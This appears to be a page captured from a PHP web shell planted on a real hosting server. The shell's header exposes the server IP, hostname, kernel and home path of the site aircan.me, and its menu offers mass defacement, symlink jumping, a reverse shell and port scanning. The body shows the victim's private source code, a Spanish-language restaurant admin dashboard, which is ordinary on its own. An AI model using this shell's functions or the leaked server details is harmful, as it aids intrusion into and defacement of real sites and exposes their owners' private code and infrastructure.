Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
comidarapidafran2
/
admin
/
Viewing: dashboard.php
<?php include '../components/connect.php'; session_start(); $admin_id = $_SESSION['admin_id']; if(!isset($admin_id)){ header('location:admin_login.php'); } function fetchScalar(PDO $conn, string $sql, array $params = [], $default = 0){ try { $stmt = $conn->prepare($sql); $stmt->execute($params); $value = $stmt->fetchColumn(); return $value !== false ? (float)$value : $default; } catch (PDOException $e) { return $default; } } function tableExists(PDO $conn, string $tableName): bool{ try { $stmt = $conn->prepare( "SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = ? LIMIT 1" ); $stmt->execute([$tableName]); return $stmt->fetchColumn() !== false; } catch (PDOException $e) { return false; } } function formatBytes(int $bytes): string{ if($bytes <= 0){ return '0 B'; } $units = ['B','KB','MB','GB','TB']; $power = (int)floor(log($bytes, 1024)); $power = min($power, count($units) - 1); $value = $bytes / (1024 ** $power); return number_format($value, $power >= 2 ? 2 : 1, ',', '.') . ' ' . $units[$power]; } $totalProducts = (int)fetchScalar($conn, "SELECT COUNT(*) FROM `products`"); $activeProducts = (int)fetchScalar($conn, "SELECT COUNT(*) FROM `products` WHERE is_active = 1"); $inactiveProducts = (int)fetchScalar($conn, "SELECT COUNT(*) FROM `products` WHERE is_active = 0"); $totalCategories = (int)fetchScalar($conn, "SELECT COUNT(*) FROM `categories`"); $today = new DateTime('today', new DateTimeZone('America/Bogota')); $todayStart = $today->format('Y-m-d 00:00:00'); $todayEnd = $today->format('Y-m-d 23:59:59'); $hasDeliveryOrders = tableExists($conn, 'delivery_orders'); $hasDineInOrders = tableExists($conn, 'dine_in_orders'); $hasIngredients = tableExists($conn, 'ingredients'); $hasInventoryMovements = tableExists($conn, 'inventory_movements'); $hasInventory = $hasIngredients && $hasInventoryMovements; $hasDeliveryZones = tableExists($conn, 'delivery_zones'); $hasPreparers = tableExists($conn, 'preparers'); $deliveryOrdersToday = $hasDeliveryOrders ? (int)fetchScalar($conn, "SELECT COUNT(*) FROM `delivery_orders` WHERE created_at BETWEEN ? AND ?", [$todayStart, $todayEnd], 0) : 0; $deliveryRevenueToday = $hasDeliveryOrders ? (float)fetchScalar($conn, "SELECT COALESCE(SUM(total_amount), 0) FROM `delivery_orders` WHERE created_at BETWEEN ? AND ?", [$todayStart, $todayEnd], 0) : 0.0; $dineInOrdersToday = $hasDineInOrders ? (int)fetchScalar($conn, "SELECT COUNT(*) FROM `dine_in_orders` WHERE created_at BETWEEN ? AND ?", [$todayStart, $todayEnd], 0) : 0; $dineInRevenueToday = $hasDineInOrders ? (float)fetchScalar($conn, "SELECT COALESCE(SUM(total_amount), 0) FROM `dine_in_orders` WHERE created_at BETWEEN ? AND ?", [$todayStart, $todayEnd], 0) : 0.0; $totalRevenueToday = $deliveryRevenueToday + $dineInRevenueToday; $totalOrdersToday = $deliveryOrdersToday + $dineInOrdersToday; $activeDineInOrders = $hasDineInOrders ? (int)fetchScalar($conn, "SELECT COUNT(*) FROM `dine_in_orders` WHERE order_status NOT IN ('entregada', 'cancelada')", [], 0) : 0; $unpaidDineInOrders = $hasDineInOrders ? (int)fetchScalar($conn, "SELECT COUNT(*) FROM `dine_in_orders` WHERE payment_status = 'no_pagada' AND order_status != 'cancelada'", [], 0) : 0; $totalDeliveryZones = $hasDeliveryZones ? (int)fetchScalar($conn, "SELECT COUNT(*) FROM `delivery_zones`", [], 0) : 0; $activePreparers = $hasPreparers ? (int)fetchScalar($conn, "SELECT COUNT(*) FROM `preparers` WHERE status = 'activo'", [], 0) : 0; $lowStockIngredients = 0; $totalIngredients = 0; if($hasIngredients){ $totalIngredients = (int)fetchScalar($conn, "SELECT COUNT(*) FROM `ingredients`", [], 0); } if($hasInventory){ $lowStockIngredients = (int)fetchScalar( $conn, "SELECT COUNT(*) FROM ( SELECT i.id FROM ingredients i LEFT JOIN inventory_movements m ON m.ingredient_id = i.id WHERE i.is_active = 1 GROUP BY i.id, i.stock_min HAVING i.stock_min > 0 AND COALESCE(SUM(CASE m.movement_type WHEN 'in' THEN m.quantity WHEN 'out' THEN -m.quantity ELSE m.quantity END), 0) < i.stock_min ) t", [], 0 ); } $deliveryStatusToday = []; if($hasDeliveryOrders){ try { $stmt = $conn->prepare("SELECT status, COUNT(*) AS total FROM `delivery_orders` WHERE created_at BETWEEN ? AND ? GROUP BY status ORDER BY total DESC"); $stmt->execute([$todayStart, $todayEnd]); foreach($stmt->fetchAll(PDO::FETCH_ASSOC) as $row){ $key = (string)($row['status'] ?? ''); if($key === '') continue; $deliveryStatusToday[$key] = (int)($row['total'] ?? 0); } } catch (PDOException $e) { $deliveryStatusToday = []; } } $trendDays = 14; $trendStart = (clone $today)->modify('-' . ($trendDays - 1) . ' days'); $trendStartSql = $trendStart->format('Y-m-d 00:00:00'); $trendEndSql = $todayEnd; $trendLabels = []; $trendRevenue = []; for($i = 0; $i < $trendDays; $i++){ $trendLabels[] = (clone $trendStart)->modify('+' . $i . ' days')->format('d/m'); $trendRevenue[] = 0.0; } $trendMap = []; if($hasDineInOrders){ try { $stmt = $conn->prepare("SELECT DATE(created_at) AS day, COALESCE(SUM(total_amount), 0) AS amount FROM `dine_in_orders` WHERE created_at >= ? AND created_at <= ? GROUP BY day"); $stmt->execute([$trendStartSql, $trendEndSql]); foreach($stmt->fetchAll(PDO::FETCH_ASSOC) as $row){ $day = (string)($row['day'] ?? ''); if($day !== ''){ $trendMap[$day] = ($trendMap[$day] ?? 0.0) + (float)($row['amount'] ?? 0); } } } catch (PDOException $e) { } } if($hasDeliveryOrders){ try { $stmt = $conn->prepare("SELECT DATE(created_at) AS day, COALESCE(SUM(total_amount), 0) AS amount FROM `delivery_orders` WHERE created_at >= ? AND created_at <= ? GROUP BY day"); $stmt->execute([$trendStartSql, $trendEndSql]); foreach($stmt->fetchAll(PDO::FETCH_ASSOC) as $row){ $day = (string)($row['day'] ?? ''); if($day !== ''){ $trendMap[$day] = ($trendMap[$day] ?? 0.0) + (float)($row['amount'] ?? 0); } } } catch (PDOException $e) { } } for($i = 0; $i < $trendDays; $i++){ $dateKey = (clone $trendStart)->modify('+' . $i . ' days')->format('Y-m-d'); $trendRevenue[$i] = (float)($trendMap[$dateKey] ?? 0.0); } $hasTrendData = array_sum($trendRevenue) > 0; $channelDays = 30; $channelStart = (clone $today)->modify('-' . ($channelDays - 1) . ' days'); $channelStartSql = $channelStart->format('Y-m-d 00:00:00'); $channelEndSql = $todayEnd; $channelLabels = ['Comandas', 'Domicilio']; $channelCounts = [0, 0]; $channelRevenue = [0.0, 0.0]; if($hasDineInOrders){ $channelCounts[0] = (int)fetchScalar($conn, "SELECT COUNT(*) FROM `dine_in_orders` WHERE created_at >= ? AND created_at <= ?", [$channelStartSql, $channelEndSql], 0); $channelRevenue[0] = (float)fetchScalar($conn, "SELECT COALESCE(SUM(total_amount), 0) FROM `dine_in_orders` WHERE created_at >= ? AND created_at <= ?", [$channelStartSql, $channelEndSql], 0); } if($hasDeliveryOrders){ $channelCounts[1] = (int)fetchScalar($conn, "SELECT COUNT(*) FROM `delivery_orders` WHERE created_at >= ? AND created_at <= ?", [$channelStartSql, $channelEndSql], 0); $channelRevenue[1] = (float)fetchScalar($conn, "SELECT COALESCE(SUM(total_amount), 0) FROM `delivery_orders` WHERE created_at >= ? AND created_at <= ?", [$channelStartSql, $channelEndSql], 0); } $hasChannelData = array_sum($channelCounts) > 0; $galleryDir = realpath(__DIR__ . '/../assets/img/galeria'); $galleryCount = 0; $gallerySize = 0; if($galleryDir && is_dir($galleryDir)){ $galleryFiles = glob($galleryDir . DIRECTORY_SEPARATOR . '*.{jpg,jpeg,png,webp,gif,avif,JPG,JPEG,PNG,WEBP,GIF,AVIF}', GLOB_BRACE) ?: []; $galleryCount = count($galleryFiles); foreach($galleryFiles as $filePath){ if(is_file($filePath)){ $gallerySize += filesize($filePath); } } } $topCategoriesStmt = $conn->query("SELECT c.name, COUNT(p.id) AS product_count FROM `categories` c LEFT JOIN `products` p ON p.category = c.id GROUP BY c.id, c.name ORDER BY product_count DESC, c.name ASC LIMIT 6"); $topCategories = $topCategoriesStmt ? $topCategoriesStmt->fetchAll(PDO::FETCH_ASSOC) : []; $categoryLabels = array_column($topCategories, 'name'); $categoryData = array_map('intval', array_column($topCategories, 'product_count')); $statusLabels = ['Activos', 'Inactivos']; $statusData = [$activeProducts, $inactiveProducts]; $hasStatusData = array_sum($statusData) > 0; $hasCategoryData = array_sum($categoryData) > 0; $gallerySizeFormatted = formatBytes((int)$gallerySize); $businessName = getBusinessName($conn); $businessLogoVersion = getBusinessLogoVersion($conn); $iconHref = '../icon.php?size=64' . ($businessLogoVersion !== '' ? '&v=' . rawurlencode($businessLogoVersion) : ''); ?> <!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Dashboard | <?= htmlspecialchars($businessName); ?></title> <link rel="icon" href="<?= htmlspecialchars($iconHref); ?>" type="image/png"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <link rel="stylesheet" href="../css/admin_style.css"> <style> .dashboard-wrapper { max-width: 1200px; margin: 0 auto 40px; padding: 0 18px 60px; display: flex; flex-direction: column; gap: 28px; } .dashboard-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); gap: 18px; } .kpi-card { position: relative; background: linear-gradient(135deg, rgba(255,255,255,0.92), #ffffff); border-radius: 20px; padding: 20px; border: 1px solid rgba(0,0,0,0.06); box-shadow: 0 12px 26px rgba(0,0,0,0.08); display: flex; align-items: flex-start; gap: 16px; transition: transform .2s ease, box-shadow .2s ease; overflow: hidden; } .kpi-card:hover { transform: translateY(-3px); box-shadow: 0 16px 34px rgba(0,0,0,0.12); } .kpi-icon { width: 52px; height: 52px; border-radius: 16px; display: grid; place-items: center; font-size: 1.4rem; flex-shrink: 0; background: rgba(179,0,0,0.08); color: #b30000; } .kpi-value { font-size: 2.2rem; font-weight: 800; margin: 0; color: #111; } .kpi-label { margin: 6px 0 0 0; font-size: 1.05rem; font-weight: 600; color: rgba(17,17,17,0.72); } .panel-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(320px, 1fr)); gap: 20px; } .panel-card { background: #fff; border-radius: 20px; padding: 20px; border: 1px solid rgba(0,0,0,0.05); box-shadow: 0 12px 28px rgba(0,0,0,0.08); position: relative; overflow: hidden; } .panel-title { display: flex; align-items: center; justify-content: space-between; gap: 12px; font-size: 1.2rem; font-weight: 800; color: #0f172a; margin: 0 0 18px 0; } .chart-holder { position: relative; height: 260px; width: 100%; } .chart-holder canvas { width: 100% !important; height: 100% !important; max-height: 100%; } .mini-thumbs { display: grid; grid-template-columns: repeat(auto-fit, minmax(80px, 1fr)); gap: 8px; } .mini-thumbs figure { position: relative; aspect-ratio: 1 / 1; overflow: hidden; border-radius: 12px; box-shadow: 0 8px 18px rgba(0,0,0,0.08); margin: 0; } .mini-thumbs img { width: 100%; height: 100%; object-fit: cover; transition: transform .2s ease; } .mini-thumbs img:hover { transform: scale(1.06); } .list-stack { display: flex; flex-direction: column; gap: 12px; } .list-item { display: flex; align-items: center; justify-content: space-between; gap: 12px; padding: 12px 14px; border-radius: 14px; background: rgba(243, 244, 246, 0.6); } .list-item strong { font-size: 1.05rem; color: #111; font-weight: 700; } .list-item span { font-size: 0.95rem; font-weight: 600; color: rgba(17,17,17,0.65); } .empty-state { text-align: center; padding: 30px 16px; border-radius: 16px; border: 1px dashed rgba(0,0,0,0.06); background: rgba(249,250,251,0.8); color: rgba(17,17,17,0.55); font-weight: 600; } .delivery-status-list { display: flex; flex-direction: column; gap: 10px; } .delivery-status-list li { list-style: none; background: rgba(255,255,255,0.85); border-radius: 12px; padding: 10px 14px; display: flex; justify-content: space-between; font-weight: 600; color: #111; } body.dashboard-page { --color-primary: #0ea5e9; --color-success: #22c55e; --color-warning: #f59e0b; --color-info: #0ea5e9; --color-danger: #ef4444; background: linear-gradient(135deg, #f5f9ff 0%, #fff7f3 100%); min-height: 100vh; } body.dashboard-page .section-title { color: #0f172a; font-weight: 900; letter-spacing: .2px; } body.dashboard-page .kpi-card, body.dashboard-page .panel-card { background: rgba(255, 255, 255, 0.86); border: 1px solid rgba(226, 232, 240, 0.85); box-shadow: 0 18px 42px rgba(17, 24, 39, 0.10); backdrop-filter: blur(10px); } body.dashboard-page .kpi-icon { background: linear-gradient(135deg, rgba(14,165,233,0.18), rgba(37,99,235,0.10)); color: #2563eb; } body.dashboard-page .list-item { background: rgba(248,250,252,0.8); border: 1px solid rgba(226, 232, 240, 0.85); } body.dashboard-page .delivery-status-list li { background: rgba(248,250,252,0.85); border: 1px solid rgba(226, 232, 240, 0.85); color: #0f172a; } body.dashboard-page .delivery-status-list li strong { font-weight: 900; } body.dashboard-page .chart-holder { height: 290px; } @media (max-width: 640px) { .dashboard-wrapper { padding: 0 14px 40px; } .panel-title { font-size: 1.1rem; } } </style> <script src="https://cdn.jsdelivr.net/npm/chart.js@4.4.1/dist/chart.umd.min.js"></script> </head> <body class="admin-panel dashboard-page"> <?php include '../components/admin_header.php'; ?> <section class="page-heading"> <h1 class="section-title">Panel de Control</h1> </section> <section class="dashboard-wrapper"> <div class="dashboard-grid"> <div class="kpi-card"> <div class="kpi-icon"><i class="fas fa-utensils"></i></div> <div> <p class="kpi-value"><?= number_format($totalProducts, 0, ',', '.'); ?></p> <p class="kpi-label">Comidas registradas</p> </div> </div> <div class="kpi-card"> <div class="kpi-icon"><i class="fas fa-toggle-on"></i></div> <div> <p class="kpi-value"><?= number_format($activeProducts, 0, ',', '.'); ?></p> <p class="kpi-label">Comidas activas</p> </div> </div> <div class="kpi-card"> <div class="kpi-icon"><i class="fas fa-moon"></i></div> <div> <p class="kpi-value"><?= number_format($inactiveProducts, 0, ',', '.'); ?></p> <p class="kpi-label">Comidas inactivas</p> </div> </div> <div class="kpi-card"> <div class="kpi-icon"><i class="fas fa-layer-group"></i></div> <div> <p class="kpi-value"><?= number_format($totalCategories, 0, ',', '.'); ?></p> <p class="kpi-label">Categorías disponibles</p> </div> </div> <div class="kpi-card"> <div class="kpi-icon"><i class="fas fa-images"></i></div> <div> <p class="kpi-value"><?= number_format($galleryCount, 0, ',', '.'); ?></p> <p class="kpi-label">Imágenes en galería</p> </div> </div> <div class="kpi-card"> <div class="kpi-icon"><i class="fas fa-cash-register"></i></div> <div> <p class="kpi-value"><?= htmlspecialchars(formatMoney((float)$totalRevenueToday, $conn)); ?></p> <p class="kpi-label">Ventas hoy (salón + domicilio)</p> </div> </div> <div class="kpi-card"> <div class="kpi-icon"><i class="fas fa-receipt"></i></div> <div> <p class="kpi-value"><?= number_format((int)$totalOrdersToday, 0, ',', '.'); ?></p> <p class="kpi-label">Pedidos hoy</p> </div> </div> <div class="kpi-card"> <div class="kpi-icon"><i class="fas fa-clipboard-list"></i></div> <div> <p class="kpi-value"><?= number_format((int)$activeDineInOrders, 0, ',', '.'); ?></p> <p class="kpi-label">Comandas activas</p> </div> </div> <div class="kpi-card"> <div class="kpi-icon"><i class="fas fa-motorcycle"></i></div> <div> <p class="kpi-value"><?= number_format((int)$deliveryOrdersToday, 0, ',', '.'); ?></p> <p class="kpi-label">Domicilios hoy</p> </div> </div> <div class="kpi-card"> <div class="kpi-icon"><i class="fas fa-boxes-stacked"></i></div> <div> <p class="kpi-value"><?= number_format((int)$lowStockIngredients, 0, ',', '.'); ?></p> <p class="kpi-label">Insumos bajo mínimo</p> </div> </div> <div class="kpi-card"> <div class="kpi-icon"><i class="fas fa-user-tie"></i></div> <div> <p class="kpi-value"><?= number_format((int)$activePreparers, 0, ',', '.'); ?></p> <p class="kpi-label">Preparadores activos</p> </div> </div> <div class="kpi-card"> <div class="kpi-icon"><i class="fas fa-location-dot"></i></div> <div> <p class="kpi-value"><?= number_format((int)$totalDeliveryZones, 0, ',', '.'); ?></p> <p class="kpi-label">Zonas de entrega</p> </div> </div> </div> <div class="panel-grid"> <div class="panel-card"> <h3 class="panel-title">Estado de los productos</h3> <?php if($hasStatusData): ?> <div class="chart-holder"> <canvas id="product-status-chart"></canvas> </div> <?php else: ?> <div class="empty-state">Aún no hay datos para mostrar.</div> <?php endif; ?> </div> <div class="panel-card"> <h3 class="panel-title">Top categorías por cantidad</h3> <?php if($hasCategoryData): ?> <div class="chart-holder"> <canvas id="top-categories-chart"></canvas> </div> <?php else: ?> <div class="empty-state">Agrega productos para ver esta gráfica.</div> <?php endif; ?> </div> <div class="panel-card"> <h3 class="panel-title">Ventas últimos 14 días</h3> <?php if($hasTrendData): ?> <div class="chart-holder"> <canvas id="sales-trend-chart"></canvas> </div> <?php else: ?> <div class="empty-state">Aún no hay ventas registradas para este período.</div> <?php endif; ?> </div> <div class="panel-card"> <h3 class="panel-title">Pedidos por canal (30 días)</h3> <?php if($hasChannelData): ?> <div class="chart-holder"> <canvas id="channel-split-chart"></canvas> </div> <?php else: ?> <div class="empty-state">No hay pedidos para el rango seleccionado.</div> <?php endif; ?> </div> <div class="panel-card"> <h3 class="panel-title">Domicilios hoy por estado</h3> <?php if(!empty($deliveryStatusToday)): ?> <ul class="delivery-status-list" style="margin:0; padding:0;"> <?php foreach($deliveryStatusToday as $status => $count): ?> <li> <span><?= htmlspecialchars(str_replace('_', ' ', (string)$status)); ?></span> <strong><?= number_format((int)$count, 0, ',', '.'); ?></strong> </li> <?php endforeach; ?> </ul> <?php else: ?> <div class="empty-state">No hay domicilios registrados hoy.</div> <?php endif; ?> </div> </div> </section> <script src="../js/admin_script.js"></script> <script> document.addEventListener('DOMContentLoaded', () => { Chart.defaults.font.family = 'Montserrat'; Chart.defaults.color = '#334155'; Chart.defaults.plugins.legend.labels.usePointStyle = true; Chart.defaults.plugins.legend.labels.boxWidth = 10; Chart.defaults.plugins.legend.labels.padding = 14; Chart.defaults.elements.line.tension = 0.35; const statusAvailable = <?= $hasStatusData ? 'true' : 'false'; ?>; if(statusAvailable){ const ctx = document.getElementById('product-status-chart'); if(ctx){ new Chart(ctx, { type: 'doughnut', data: { labels: <?= json_encode($statusLabels, JSON_UNESCAPED_UNICODE); ?>, datasets: [{ data: <?= json_encode($statusData, JSON_NUMERIC_CHECK); ?>, backgroundColor: ['#22c55e', '#ef4444'], borderWidth: 0, }] }, options: { plugins: { legend: { position: 'bottom', labels: { boxWidth: 14, font: { family: 'Montserrat', weight: '600', } } } }, cutout: '68%', } }); } } const categoryAvailable = <?= $hasCategoryData ? 'true' : 'false'; ?>; if(categoryAvailable){ const ctx = document.getElementById('top-categories-chart'); if(ctx){ const c2 = ctx.getContext('2d'); const grad = c2.createLinearGradient(0, 0, 0, 260); grad.addColorStop(0, 'rgba(37,99,235,0.95)'); grad.addColorStop(1, 'rgba(14,165,233,0.65)'); new Chart(ctx, { type: 'bar', data: { labels: <?= json_encode($categoryLabels, JSON_UNESCAPED_UNICODE); ?>, datasets: [{ data: <?= json_encode($categoryData, JSON_NUMERIC_CHECK); ?>, backgroundColor: grad, borderRadius: 12, maxBarThickness: 38, }] }, options: { responsive: true, maintainAspectRatio: false, plugins: { legend: { display: false } }, scales: { x: { ticks: { font: { family: 'Montserrat', weight: '600' } } }, y: { beginAtZero: true, ticks: { precision: 0, stepSize: 1, font: { family: 'Montserrat' } } } } } }); } } const trendAvailable = <?= $hasTrendData ? 'true' : 'false'; ?>; if(trendAvailable){ const ctx = document.getElementById('sales-trend-chart'); if(ctx){ const c2 = ctx.getContext('2d'); const grad = c2.createLinearGradient(0, 0, 0, 280); grad.addColorStop(0, 'rgba(14,165,233,0.35)'); grad.addColorStop(1, 'rgba(14,165,233,0.02)'); new Chart(ctx, { type: 'line', data: { labels: <?= json_encode($trendLabels, JSON_UNESCAPED_UNICODE); ?>, datasets: [{ label: 'Ventas', data: <?= json_encode($trendRevenue, JSON_NUMERIC_CHECK); ?>, borderColor: '#0ea5e9', backgroundColor: grad, fill: true, pointRadius: 3, pointHoverRadius: 5, pointBackgroundColor: '#2563eb', pointBorderWidth: 0, }] }, options: { responsive: true, maintainAspectRatio: false, interaction: { mode: 'index', intersect: false }, plugins: { legend: { position: 'bottom' }, tooltip: { callbacks: { label: (ctx) => { const value = Number(ctx.parsed.y || 0); return ' ' + value.toLocaleString('es-CO'); } } } }, scales: { x: { grid: { display: false }, }, y: { beginAtZero: true, ticks: { callback: (value) => Number(value).toLocaleString('es-CO') } } } } }); } } const channelAvailable = <?= $hasChannelData ? 'true' : 'false'; ?>; if(channelAvailable){ const ctx = document.getElementById('channel-split-chart'); if(ctx){ new Chart(ctx, { type: 'doughnut', data: { labels: <?= json_encode($channelLabels, JSON_UNESCAPED_UNICODE); ?>, datasets: [{ data: <?= json_encode($channelCounts, JSON_NUMERIC_CHECK); ?>, backgroundColor: ['#0ea5e9', '#f97316'], borderWidth: 0, }] }, options: { responsive: true, maintainAspectRatio: false, cutout: '70%', plugins: { legend: { position: 'bottom' } } } }); } } }); </script> </body> </html>
Coded With 💗 by
0x6ick